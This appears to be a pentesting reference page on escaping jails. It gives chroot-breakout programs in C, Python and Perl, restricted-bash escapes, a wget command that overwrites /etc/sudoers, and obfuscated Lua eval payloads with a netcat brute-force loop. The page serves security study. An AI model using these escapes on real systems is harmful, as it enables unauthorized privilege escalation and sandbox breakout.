185 lines
5.0 KiB
Markdown
185 lines
5.0 KiB
Markdown
# Escaping from Jails
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## **GTFOBins**
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**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io/) **if you can execute any binary with "Shell" property**
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## Chroot limitation
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From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** \(**root**\) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.
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Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:
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{% code title="break\_chroot.c" %}
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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#include <unistd.h>
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//gcc break_chroot.c -o break_chroot
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int main(void)
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{
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mkdir("chroot-dir", 0755);
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chroot("chroot-dir");
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for(int i = 0; i < 1000; i++) {
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chdir("..");
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}
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chroot(".");
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system("/bin/bash");
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}
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```
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{% endcode %}
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Using **python**:
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```python
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#!/usr/bin/python
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import os
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os.mkdir("chroot-dir")
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os.chroot("chroot-dir")
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for i in range(1000):
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os.chdir("..")
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os.chroot(".")
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os.system("/bin/bash")
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```
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Using **perl**:
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```perl
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#!/usr/bin/perl
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mkdir "chroot-dir";
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chroot "chroot-dir";
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foreach my $i (0..1000) {
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chdir ".."
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}
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chroot ".";
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system("/bin/bash");
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```
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## Bash Jails
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### Enumeration
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Get info about the jail:
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```bash
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echo $SHELL
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echo $PATH
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env
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export
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pwd
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```
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### Modify PATH
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Check if you can modify the PATH env variable
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```bash
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echo $PATH #See the path of the executables that you can use
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PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
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echo /home/* #List directory
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```
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### Using vim
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```bash
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:set shell=/bin/sh
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:shell
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```
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### Create script
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Check if you can create an executable file with _/bin/bash_ as content
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```bash
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red /bin/bash
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> w wx/path #Write /bin/bash in a writable and executable path
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```
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### Get bash from SSH
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If you are accessing via ssh you can use this trick to execute a bash shell:
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```bash
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ssh -t user@<IP> bash # Get directly an interactive shell
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ssh user@<IP> -t "bash --noprofile -i"
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ssh user@<IP> -t "() { :; }; sh -i "
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```
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### Declare
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```bash
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declare -n PATH; export PATH=/bin;bash -i
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BASH_CMDS[shell]=/bin/bash;shell -i
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```
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### Wget
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You can overwrite for example sudoers file
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```bash
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wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
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```
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### Other tricks
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[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)
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[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]%28https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
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[https://gtfobins.github.io](https://gtfobins.github.io**]%28https://gtfobins.github.io)
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**It could also be interesting the page:**
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{% page-ref page="../useful-linux-commands/bypass-bash-restrictions.md" %}
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## Python Jails
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Tricks about escaping from python jails in the following page:
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{% page-ref page="../../misc/basic-python/bypass-python-sandboxes.md" %}
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## Lua Jails
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In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base)
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**Eval** with command execution**:**
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```bash
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load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
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```
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Some tricks to **call functions of a library without using dots**:
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```bash
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print(string.char(0x41, 0x42))
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print(rawget(string, "char")(0x41, 0x42))
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```
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Enumerate functions of a library:
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```bash
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for k,v in pairs(string) do print(k,v) end
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```
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Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:
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```bash
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#In this scenario you could BF the victim that is generating a new lua environment
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#for every interaction with the following line and when you are lucky
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#the char function is going to be executed
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for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
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#This attack from a CTF can be used to try to chain the function execute from "os" library
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#and "char" from string library, and the use both to execute a command
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for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
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```
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**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell \(and hopefully unlimited\) calling:
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```bash
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debug.debug()
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```
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